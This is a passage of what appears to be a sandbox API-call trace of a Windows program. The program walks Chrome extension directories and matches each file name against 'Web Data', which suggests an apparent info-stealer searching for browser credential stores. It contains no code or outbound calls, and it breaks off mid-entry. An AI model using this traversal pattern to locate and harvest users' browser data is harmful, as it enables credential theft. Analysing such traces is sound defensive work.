(lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.476] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.477] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.477] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.477] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.477] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.477] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.477] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\*.*", lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 0x2dc878 [0056.477] StrStrIA (lpFirst="verified_contents.json", lpSrch="Web Data") returned 0x0 [0056.478] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\*.*", lpFindFileData=0x21f3f0 | out: lpFindFileData=0x21f3f0) returned 0x2dc7f8 [0056.478] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\7_0\\*.*", lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 0x2dc838 [0056.478] StrStrIA (lpFirst="128.png", lpSrch="Web Data") returned 0x0 [0056.478] StrStrIA (lpFirst="manifest.json", lpSrch="Web Data") returned 0x0 [0056.478] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\7_0\\_locales\\*.*", lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 0x2dc878 [0056.478] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\7_0\\_locales\\ar\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.479] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.479] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\7_0\\_locales\\bg\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.479] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.479] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\7_0\\_locales\\ca\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.479] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.479] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\7_0\\_locales\\cs\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.479] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.479] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\7_0\\_locales\\da\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.479] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.479] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\7_0\\_locales\\de\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.480] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.481] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\7_0\\_locales\\el\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.481] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.481] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\7_0\\_locales\\en\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.481] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.481] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\7_0\\_locales\\es\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.481] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.481] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\7_0\\_locales\\fi\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.481] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.481] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\7_0\\_locales\\fil\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.482] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.482] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\7_0\\_locales\\fr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.482] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.482] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\7_0\\_locales\\hi\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.482] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.482] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\7_0\\_locales\\hr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.482] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.482] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\7_0\\_locales\\hu\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.482] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.482] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\7_0\\_locales\\id\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.482] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.483] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\7_0\\_locales\\it\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.483] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.483] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\7_0\\_locales\\ja\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.483] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.483] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\7_0\\_locales\\ko\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.483] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.483] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\7_0\\_locales\\lt\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.483] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.483] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\7_0\\_locales\\lv\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.483] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.483] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\7_0\\_locales\\nl\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.484] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.484] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\7_0\\_locales\\no\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.484] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.484] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\7_0\\_locales\\pl\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.484] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.484] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\7_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.484] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.484] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\7_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.484] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.484] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\7_0\\_locales\\ro\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.485] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.485] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\7_0\\_locales\\ru\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.485] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.485] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\7_0\\_locales\\se\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.485] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.485] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\7_0\\_locales\\sk\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.485] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.485] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\7_0\\_locales\\sl\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.485] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.485] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\7_0\\_locales\\sr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.485] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.486] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\7_0\\_locales\\th\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.486] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.486] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\7_0\\_locales\\tr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.486] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.486] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\7_0\\_locales\\uk\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.486] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.486] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\7_0\\_locales\\vi\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.486] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.486] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\7_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.486] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.486] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\7_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.487] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.487] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\7_0\\__MACOSX\\*.*", lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 0x2dc878 [0056.487] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\7_0\\__MACOSX\\_locales\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.488] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\*.*", lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 0x2dc838 [0056.488] StrStrIA (lpFirst="128.png", lpSrch="Web Data") returned 0x0 [0056.488] StrStrIA (lpFirst="manifest.json", lpSrch="Web Data") returned 0x0 [0056.488] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\*.*", lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 0x2dc878 [0056.488] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.488] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.489] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.489] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.489] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ca\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.489] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.489] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.489] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.489] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.489] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.489] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.489] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.489] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.490] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.490] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\en\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.490] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.490] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.490] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.490] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.490] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.490] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fil\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.490] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.490] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.490] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.491] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hi\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.491] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.491] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.491] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.491] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hu\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.491] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.491] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\id\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.491] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.491] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.491] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.491] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.492] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.492] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.492] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.492] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.492] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.492] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.492] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.492] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.492] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.492] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\*.*", lpFindFileData=0x21ef40 | out: 